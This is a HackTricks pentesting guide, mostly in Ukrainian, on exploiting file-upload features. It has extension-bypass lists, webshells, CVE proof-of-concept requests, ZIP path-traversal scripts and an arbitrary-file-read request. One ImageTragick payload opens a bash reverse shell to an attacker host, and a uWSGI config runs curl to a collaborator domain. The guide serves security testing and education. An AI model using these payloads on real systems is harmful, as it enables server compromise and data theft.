Завантаження файлів
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
File Upload General Methodology
Інші корисні розширення:
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- Working in PHPv8: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Server: .yaws
Bypass file extensions checks
- Якщо це застосовується, перевірте попередні розширення. Також тестуйте їх, використовуючи великі літери: pHp, .pHP5, .PhAr …
- Перевірте додавання валідного розширення перед виконувальним розширенням (також використовуйте попередні розширення):
- file.png.php
- file.png.Php5
- Спробуйте додати спеціальні символи вкінці. Можна використати Burp для bruteforce всіх ascii та Unicode символів. (Зверніть увагу, що також можна спробувати використати попередньо згадані extensions)
- file.php%20
- file.php%0a
- file.php%00
- file.php%0d%0a
- file.php/
- file.php.\
- file.
- file.php….
- file.pHp5….
- Спробуйте обійти захист, обманюючи парсер розширень на стороні сервера за допомогою технік типу подвійного розширення або додавання сміттєвих даних (null bytes) між розширеннями. Ви також можете використати попередні розширення для підготовки кращого payload’а.
- file.png.php
- file.png.pHp5
- file.php#.png
- file.php%00.png
- file.php\x00.png
- file.php%0a.png
- file.php%0d%0a.png
- file.phpJunk123png
- Додайте ще один шар розширень до попередньої перевірки:
- file.png.jpg.php
- file.php%00.png%00.jpg
- Спробуйте поставити exec extension перед валідним розширенням і сподівайтеся, що сервер неправильно налаштований. (корисно експлуатувати misconfigurations Apache, де будь-що з розширенням .php, але не обов’язково що закінчується на .php, буде виконувати код):
- ex: file.php.png
- Використання NTFS alternate data stream (ADS) у Windows. У цьому випадку після забороненого розширення і перед дозволеним буде вставлено символ двокрапки “:”. В результаті на сервері буде створено пустий файл із забороненим розширенням (наприклад “file.asax:.jpg”). Цей файл пізніше можна редагувати іншими техніками, наприклад, використовуючи його коротке ім’я файлу. Шаблон “::$data” також можна використати для створення непорожніх файлів. Тому додавання крапки після цього шаблону може допомогти обійти додаткові обмеження (наприклад “file.asp::$data.”)
- Спробуйте зламати обмеження імені файлу. Валідне розширення обрізається. А шкідливий PHP залишається. AAA<–SNIP–>AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
Деякі upload handlers обрізають або нормалізують кінцеві крапки в імені збереженого файлу. В UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) версіях до 2.9.1 можна обійти валідацію розширень, зробивши таке:
- Використати валідний image MIME та magic header (наприклад, PNG’s
\x89PNG\r\n\x1a\n). - Назвати завантажений файл з PHP-розширенням, за яким слідує крапка, наприклад
shell.php.. - Сервер знімає кінцеву крапку і зберігає
shell.php, який буде виконаний, якщо файл поміщено в директорію, що обслуговується вебом (за замовчуванням public storage, наприклад/storage/files/).
Minimal PoC (Burp Repeater):
POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--
Потім зверніться до збереженого шляху (типово для Laravel + LFM):
GET /storage/files/0xdf.php?cmd=id
Обхід Content-Type, Magic Number, Compression & Resizing
- Обійдіть перевірки Content-Type, встановивши значення заголовка Content-Type на: image/png , text/plain , application/octet-stream
- Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
- Обійдіть перевірку magic number, додавши на початок файлу байти реального зображення (щоб зіпсувати роботу команди file). Або вставте shell всередину metadata:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg\або ви також можете вставити payload безпосередньо в зображення:echo '<?php system($_REQUEST['cmd']); ?>' >> img.png - Якщо до вашого зображення додається стиснення, наприклад із використанням стандартних PHP-бібліотек, таких як PHP-GD, попередні техніки можуть не спрацювати. Проте ви можете використати PLTE chunk техніку, описану тут, щоб вставити текст, який переживе стиснення.
- Github with the code
- Веб-сторінка також може змінювати розмір зображення, використовуючи, наприклад, функції PHP-GD
imagecopyresizedабоimagecopyresampled. Однак ви можете використати IDAT chunk техніку, описану тут, щоб вставити текст, який переживе стиснення. - Github with the code
- Інша техніка, щоб зробити payload, який переживе зміну розміру зображення, використовуючи PHP-GD функцію
thumbnailImage. Проте ви можете використати tEXt chunk техніку, описану тут, щоб вставити текст, який переживе стиснення. - Github with the code
Інші трюки для перевірки
- Знайдіть вразливість, яка дозволяє перейменувати вже завантажений файл (щоб змінити розширення).
- Знайдіть вразливість Local File Inclusion для виконання backdoor.
- Можливий витік інформації:
- Завантажте кілька разів (та одночасно) той самий файл з тим самим іменем
- Завантажте файл з іменем файлу або папки, яка вже існує
- Завантаження файлу з іменем “.”, “..”, або “…”. Наприклад, в Apache на Windows, якщо застосунок зберігає завантажені файли в директорії “/www/uploads/”, ім’я файлу “.” створить файл з назвою uploads у директорії “/www/”.
- Завантажте файл, який важко видалити, наприклад “…:.jpg” в NTFS. (Windows)
- Завантажте файл в Windows з недопустимими символами, такими як
|<>*?”в імені. (Windows) - Завантажте файл в Windows, використовуючи зарезервовані (заборонені) імена, такі як CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
- Спробуйте також завантажити виконуваний файл (.exe) або .html (менш підозріло), який виконуватиме код, якщо його випадково відкриє жертва.
Спеціальні трюки з розширеннями
Якщо ви намагаєтеся завантажити файли на PHP server, перегляньте трюк з .htaccess для виконання коду: https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution.
Якщо ви намагаєтесь завантажити файли на ASP server, перегляньте трюк з .config для виконання коду: ../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files.
Файли .phar подібні до .jar для java, але для php, і можуть бути використані як php файл (виконати їх через php або включити всередину скрипта…).
Розширення .inc іноді використовується для php-файлів, які лише імпортуються, тож іноді це розширення могло бути дозволено для виконання.
Jetty RCE
Якщо ви можете завантажити XML-файл на Jetty сервер, можна отримати RCE, тому що нові *.xml і *.war автоматично обробляються. Тож, як вказано на зображенні нижче, завантажте XML-файл у $JETTY_BASE/webapps/ і очікуйте shell!
.png)
uWSGI RCE
Для детального вивчення цієї вразливості перегляньте оригінальне дослідження: uWSGI RCE Exploitation.
Вразливості Remote Command Execution (RCE) можна експлуатувати на uWSGI серверах, якщо є можливість змінити .ini конфігураційний файл. Конфігураційні файли uWSGI використовують специфічний синтаксис для включення “магічних” змінних, заповнювачів і операторів. Зокрема, оператор ‘@’, що використовується як @(filename), призначений для включення вмісту файлу. Серед різних підтримуваних схем у uWSGI, схема “exec” є особливо потужною, дозволяючи читати дані зі стандартного виводу процесу. Цю функціональність можна зловмисно використати для Remote Command Execution або Arbitrary File Write/Read під час обробки .ini конфігураційного файлу.
Розгляньте наступний приклад шкідливого uwsgi.ini файлу, що демонструє різні схеми:
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
Виконання payload відбувається під час розбору файлу конфігурації. Щоб конфігурація була активована та розпарсена, процес uWSGI має бути або перезапущений (можливо після краху або через Denial of Service attack), або файл має бути налаштований на auto-reload. Функція auto-reload, якщо вона увімкнена, перезавантажує файл через задані інтервали після виявлення змін.
Важливо розуміти халатність розбору файлу конфігурації uWSGI. Зокрема, обговорюваний payload може бути вставлений у бінарний файл (наприклад image або PDF), що ще більше розширює вектор потенційної експлуатації.
Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
Неавторизований endpoint у Gibbon LMS дозволяє arbitrary file write всередині web root, що призводить до pre-auth RCE шляхом розміщення PHP-файлу. Уразливі версії: до та включно 25.0.01.
- Ендпоінт:
/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php - Метод: POST
- Необхідні параметри:
img: data-URI-like string:[mime];[name],[base64](server ignores type/name, base64-decodes the tail)path: destination filename relative to Gibbon install dir (e.g.,poc.phpor0xdf.php)gibbonPersonID: any non-empty value is accepted (e.g.,0000000001)
Мінімальний PoC для запису та читання файлу:
# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK
# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'
# Verify write
curl http://target/Gibbon-LMS/poc.php
Впровадити мінімальний webshell та виконувати команди:
# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
Примітки:
- Обробник виконує
base64_decode($_POST["img"])після розбиття за;та,, потім записує байти до$absolutePath . '/' . $_POST['path']без перевірки розширення/типу. - Отже, отриманий код виконується від імені користувача веб-служби (наприклад, XAMPP Apache на Windows).
Посилання на цю вразливість включають usd HeroLab advisory та NVD entry. Див. розділ References нижче.
wget File Upload/SSRF Trick
In some occasions you may find that a server is using wget to download files and you can indicate the URL. In these cases, the code may be checking that the extension of the downloaded files is inside a whitelist to assure that only allowed files are going to be downloaded. However, this check can be bypassed.
The maximum length of a filename in linux is 255, however, wget truncate the filenames to 236 characters. You can download a file called “A”*232+“.php”+“.gif”, this filename will bypass the check (as in this example “.gif” is a valid extension) but wget will rename the file to “A”*232+“.php”.
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
Зверніть увагу, що ще один варіант, про який ви, можливо, думаєте, щоб обійти цю перевірку — це змусити HTTP-сервер перенаправити на інший файл, тож початковий URL пройде перевірку, а wget завантажить перенаправлений файл з новою назвою. Це не спрацює, якщо wget не використовується з параметром --trust-server-names, оскільки wget завантажить перенаправлену сторінку з ім’ям файлу, вказаним у початковому URL.
Обхід директорії завантаження через NTFS junctions (Windows)
(Для цієї атаки вам потрібен локальний доступ до Windows-машини) Коли завантаження зберігаються в підпапках для кожного користувача на Windows (наприклад, C:\Windows\Tasks\Uploads<id>) і ви контролюєте створення/видалення цієї підпапки, ви можете замінити її на directory junction, що вказує на чутливе розташування (наприклад, webroot). Наступні завантаження будуть записані в цільовий шлях, що дозволить виконувати код, якщо ціль інтерпретує server-side code.
Приклад потоку для перенаправлення завантажень у XAMPP webroot:
:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
:: Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs
:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
:: Minimal PHP webshell for testing
:: <?php echo shell_exec($_REQUEST['cmd']); ?>
:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"
Примітки
- mklink /J creates an NTFS directory junction (reparse point). Обліковому запису вебсерверу потрібно пройти через junction і мати права запису у цільовому каталозі.
- Це перенаправляє довільні записи файлів; якщо в destination виконуються скрипти (PHP/ASP), це перетворюється на RCE.
- Захист: не дозволяйте writable upload roots бути контрольованими атакуючим під C:\Windows\Tasks або подібними; блокувати створення junction; валідувати extensions на стороні сервера; зберігати uploads на окремому томі або з deny‑execute ACLs.
GZIP-compressed body upload + path traversal in destination param → JSP webshell RCE (Tomcat)
Деякі upload/ingest handlers записують raw request body у файловий шлях, який будується з user-controlled query параметрів. Якщо handler також підтримує Content-Encoding: gzip і не канонізує/не валідаторує destination path, можна поєднати directory traversal з gzipped payload, щоб записати довільні байти в директорію, що обслуговується вебсервером, і отримати RCE (наприклад, розмістити JSP під Tomcat’s webapps).
Загальний сценарій експлуатації:
- Підготуйте server-side payload (наприклад, minimal JSP webshell) і gzip-compress байти.
- Відправте POST, де path parameter (наприклад, token) містить traversal, що виходить за межі призначеної папки, а file вказує ім’я файлу для збереження. Встановіть Content-Type: application/octet-stream і Content-Encoding: gzip; body — стиснутий payload.
- Відкрийте записаний файл у браузері, щоб викликати виконання.
Ілюстративний запит:
POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>
<gzip-compressed-bytes-of-your-jsp>
Потім запустіть:
GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target
Примітки
- Цільові шляхи залежать від інсталяції (наприклад, /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ в деяких стеків). Буде працювати будь-яка веб-доступна папка, яка виконує JSP.
- Розширення Hackvertor для Burp Suite може згенерувати коректне gzip тіло з вашим payload.
- Це чистий pre-auth arbitrary file write → RCE pattern; він не покладається на multipart parsing.
Заходи захисту
- Визначайте місця завантаження на сервері; ніколи не довіряйте фрагментам шляху від клієнтів.
- Канонізуйте та забезпечте, щоб розв’язаний шлях залишався в межах дозволеної базової директорії.
- Зберігайте завантаження на не-виконуваному томі і забороніть виконання скриптів з шляхів, доступних для запису.
Інструменти
- Upload Bypass is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
Corrupting upload indices with snprintf quirks (historical)
Деякі застарілі upload handlers, що використовують snprintf() або подібне для побудови масивів multi-file з single-file upload, можна обдурити, щоб змусити forged _FILES структуру. Через непослідовності та обрізання в поведінці snprintf(), ретельно сформований single upload може виглядати як кілька індексованих файлів на стороні сервера, плутаючи логіку, яка очікує суворої форми (наприклад, трактує це як multi-file upload та обирає небезпечні гілки). Хоча сьогодні це нішеве явище, цей “index corruption” pattern іноді з’являється в CTF і старих кодових базах.
Від File upload до інших вразливостей
- Встановіть filename в
../../../tmp/lol.pngі спробуйте досягти path traversal - Встановіть filename в
sleep(10)-- -.jpgі можливо ви зможете досягти SQL injection - Встановіть filename в
<svg onload=alert(document.domain)>щоб досягти XSS - Встановіть filename в
; sleep 10;щоб протестувати деякі command injection (more command injections tricks here) - XSS in image (svg) file upload
- JS file upload + XSS = Service Workers exploitation
- XXE in svg upload
- Open Redirect via uploading svg file
- Спробуйте different svg payloads from https://github.com/allanlw/svg-cheatsheet
- Famous ImageTrick vulnerability
- Якщо ви можете indicate the web server to catch an image from a URL ви можете спробувати зловживати SSRF. Якщо це image буде saved на якому-небудь public сайті, ви також можете вказати URL з https://iplogger.org/invisible/ і steal information of every visitor.
- XXE and CORS bypass with PDF-Adobe upload
- Спеціально сформовані PDF для XSS: The following page present how to inject PDF data to obtain JS execution. Якщо ви можете завантажувати PDF, ви можете підготувати PDF, який виконуватиме довільний JS згідно з наведеними вказівками.
- Upload the [eicar](https://secure.eicar.org/eicar.com.txt) content to check if the server has any antivirus
- Перевірте, чи існує будь-яке size limit при завантаженні файлів
Ось топ-10 речей, яких можна досягти завантаженням (from here):
- ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
- SVG: Stored XSS / SSRF / XXE
- GIF: Stored XSS / SSRF
- CSV: CSV injection
- XML: XXE
- AVI: LFI / SSRF
- HTML / JS : HTML injection / XSS / Open redirect
- PNG / JPEG: Pixel flood attack (DoS)
- ZIP: RCE via LFI / DoS
- PDF / PPTX: SSRF / BLIND XXE
Burp Extension
GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy
Магічні заголовні байти
- PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03[" - JPG:
"\xff\xd8\xff"
Refer to https://en.wikipedia.org/wiki/List_of_file_signatures for other filetypes.
Zip/Tar File Automatically decompressed Upload
Якщо ви можете завантажити ZIP, який буде розпаковано на сервері, ви можете зробити 2 речі:
Symlink
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
Розпаковка в різні папки
Несподіване створення файлів у каталогах під час розпаковки — серйозна проблема. Незважаючи на початкові припущення, що така налаштування може захищати від виконання OS-level команд через шкідливі завантаження файлів, підтримка ієрархічного стиснення та можливості обходу директорій у форматі ZIP можуть бути використані. Це дозволяє зловмисникам обходити обмеження та виходити за межі захищених директорій завантаження, маніпулюючи функцією розпаковки цільового додатка.
Автоматизований експлойт для створення таких файлів доступний за адресою evilarc on GitHub. Утиліту можна використовувати так:
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
Крім того, symlink trick with evilarc — це варіант. Якщо метою є доступ до файлу на кшталт /flag.txt, у вашій системі слід створити символічне посилання на цей файл. Це забезпечить, що evilarc не зіткнеться з помилками під час своєї роботи.
Нижче наведено приклад Python-коду, який використовується для створення шкідливого zip-файлу:
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
Зловживання стисненням для file spraying
For further details check the original post in: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
- Creating a PHP Shell: PHP-код написаний для виконання команд, переданих через змінну
$_REQUEST.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- File Spraying and Compressed File Creation: Створюється кілька файлів і формується zip-архів, що містить ці файли.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
- Modification with a Hex Editor or vi: Імена файлів всередині zip змінюються за допомогою vi або hex editor, замінюючи “xxA” на “../” щоб переміститися по директоріях.
:set modifiable
:%s/xxA/../g
:x!
ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)
Коли бекенд валідовує записи ZIP за допомогою PHP’s ZipArchive, але при розпакуванні записує у файлову систему використовуючи сирі імена, можна пронести заборонене розширення, вставивши NUL (0x00) у поля імен файлів. ZipArchive трактує ім’я запису як C‑string і усікає його на першому NUL; файлова система записує повне ім’я, відкидаючи все після NUL.
High-level flow:
- Підготуйте легітимний файл-контейнер (наприклад, валідний PDF), який вкладає невеликий PHP stub у потік, щоб magic/MIME залишався PDF.
- Назвіть його як
shell.php..pdf, запакуйте в zip, потім hex‑редактором відредагуйте локальний заголовок ZIP і ім’я файлу в central directory, замінивши першу.після.phpна0x00, в результаті отримаєтеshell.php\x00.pdf. - Валідатори, що покладаються на ZipArchive, “побачать”
shell.php .pdfі дозволять його; екстрактор запишеshell.phpна диск, що призведе до RCE, якщо папка для завантажень є виконуваною.
Мінімальні кроки PoC:
# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf
# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf
# 3) Hex-edit both the local header and central directory filename fields
# Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
# Tools: hexcurse, bless, bvi, wxHexEditor, etc.
# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)
Notes
- Change BOTH filename occurrences (local and central directory). Some tools add an extra data descriptor entry too – adjust all name fields if present.
- The payload file must still pass server‑side magic/MIME sniffing. Embedding the PHP in a PDF stream keeps the header valid.
- Works where the enum/validation path and the extraction/write path disagree on string handling.
Стекові/конкатеновані ZIPs (неузгодженість парсерів)
Конкатенація двох валідних ZIP-файлів створює blob, у якому різні парсери фокусуються на різних EOCD records. Багато інструментів знаходять останній End Of Central Directory (EOCD), тоді як деякі бібліотеки (наприклад, ZipArchive у певних робочих процесах) можуть парсити перший архів, який знайдуть. Якщо валідація перераховує перший архів, а екстракція виконується інструментом, який враховує останній EOCD, безпечний архів може пройти перевірки, тоді як шкідливий буде розпаковано.
PoC:
# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2
# Stack them
cat zip1.zip zip2.zip > combo.zip
# Different views
unzip -l combo.zip # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'
Схема зловживання
- Створіть безпечний архів (дозволений тип, напр., PDF) та другий архів, що містить заблоковане розширення (наприклад,
shell.php). - Об’єднайте їх:
cat benign.zip evil.zip > combined.zip. - Якщо сервер валідує одним парсером (бачить benign.zip), але розпаковує іншим (обробляє evil.zip), заблокований файл потрапляє в шлях розпакування.
ImageTragic
Завантажте цей вміст з розширенням зображення, щоб скористатися вразливістю (ImageMagick , 7.0.1-1) (див. exploit)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
Embedding PHP Shell on PNG
Вбудовування PHP shell в IDAT-чанк PNG-файлу може ефективно обійти певні операції обробки зображень. Функції imagecopyresized та imagecopyresampled з PHP-GD особливо релевантні в цьому контексті, оскільки їх часто використовують для зміни розміру та ресемплінгу зображень відповідно. Здатність вбудованого PHP shell залишатися неушкодженим після цих операцій є значною перевагою в деяких сценаріях.
Детальний розгляд цієї техніки, включаючи методологію та потенційні застосування, наведено в наступній статті: “Encoding Web Shells in PNG IDAT chunks”. Цей ресурс дає всебічне розуміння процесу та його наслідків.
More information in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Polyglot Files
Polyglot files служать унікальним інструментом у cybersecurity, виступаючи хамелеонами, які можуть одночасно коректно існувати в кількох форматах файлів. Цікавим прикладом є GIFAR, гібрид, що функціонує як GIF і як RAR-архів. Такі файли не обмежуються цим поєднанням; можливі й інші комбінації, наприклад GIF і JS або PPT і JS.
Основна користь polyglot files полягає в їх здатності обходити заходи безпеки, які перевіряють файли за типом. Звично в різних додатках дозволяють завантаження тільки певних типів файлів — наприклад JPEG, GIF або DOC — щоб зменшити ризик потенційно шкідливих форматів (наприклад, JS, PHP або Phar). Проте polyglot, задовольняючи структурні критерії кількох форматів одночасно, може непомітно обійти ці обмеження.
Попри їх адаптивність, polyglots мають обмеження. Наприклад, хоча polyglot може одночасно являти собою PHAR і JPEG, успіх завантаження може залежати від політики платформи щодо розширень файлів. Якщо система суворо обмежує допустимі розширення, сама структура polyglot може виявитися недостатньою для гарантування його завантаження.
More information in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Upload valid JSONs like if it was PDF
Як уникнути визначення типу файлу, завантажуючи валідний JSON навіть якщо це не дозволено, підробивши PDF (техніки з this blog post):
mmagiclibrary: Поки магічні байти%PDFзнаходяться в перших 1024 байтах — це вважається валідним (див. приклад у пості)pdfliblibrary: Додайте фейковий PDF-формат всередину поля JSON, щоб бібліотека вважала його pdf (див. приклад у пості)filebinary: Воно може прочитати до 1048576 байт з файлу. Просто створіть JSON більший за цей розмір, щоб воно не змогло розпарсити вміст як JSON, і потім всередину JSON вставте початкову частину реального PDF — і воно подуматиме, що це PDF
Content-Type confusion to arbitrary file read
Деякі upload handlers довіряють розпаршеному тілу запиту (наприклад, context.getBodyData().files) і пізніше копіюють файл з file.filepath без попереднього контролю Content-Type: multipart/form-data. Якщо сервер приймає application/json, ви можете надати фейковий об’єкт files, вказавши filepath на будь-який локальний шлях, перетворюючи flow завантаження в примітив для довільного читання файлів.
Приклад POST проти форми, що у відповіді HTTP повертає завантажений бінарний файл:
POST /form/vulnerable-form HTTP/1.1
Host: target
Content-Type: application/json
{
"files": {
"document": {
"filepath": "/proc/self/environ",
"mimetype": "image/png",
"originalFilename": "x.png"
}
}
}
Бекенд копіює file.filepath, тому відповідь повертає вміст цього шляху. Типова ланцюжок: прочитати /proc/self/environ, щоб дізнатися $HOME, потім $HOME/.n8n/config для ключів і $HOME/.n8n/database.sqlite для ідентифікаторів користувачів.
Посилання
- n8n form upload Content-Type confusion → arbitrary file read PoC
- When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
